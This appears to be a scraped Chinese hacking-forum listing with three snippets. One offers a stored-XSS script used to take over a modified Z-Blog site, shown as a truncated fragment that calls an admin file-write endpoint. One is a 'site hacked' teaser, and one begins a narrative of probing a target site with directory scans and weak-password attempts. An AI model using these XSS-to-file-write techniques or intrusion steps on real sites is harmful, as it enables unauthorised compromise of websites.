之前检测的一个目标站z-blog,程序有改动，存在 xss ,写了个 脚本 拿下了，要用的拿去，可以当模版用。function saveUserInfo( {var url = "/cmd.asp?act=SiteFilePst&path...

时间网被黑传送门：......

标站点:www.XXX.com学习渗透一个步骤就是扫目录，就开始操神器啦系统:windows2003+IIS6.0wwwscan扫扫网站，扫了很久也没啥好点的信息，就找出个后台地址 开管理页面，输入弱密码，万能密码都不行，扫注入点，一个也没有.....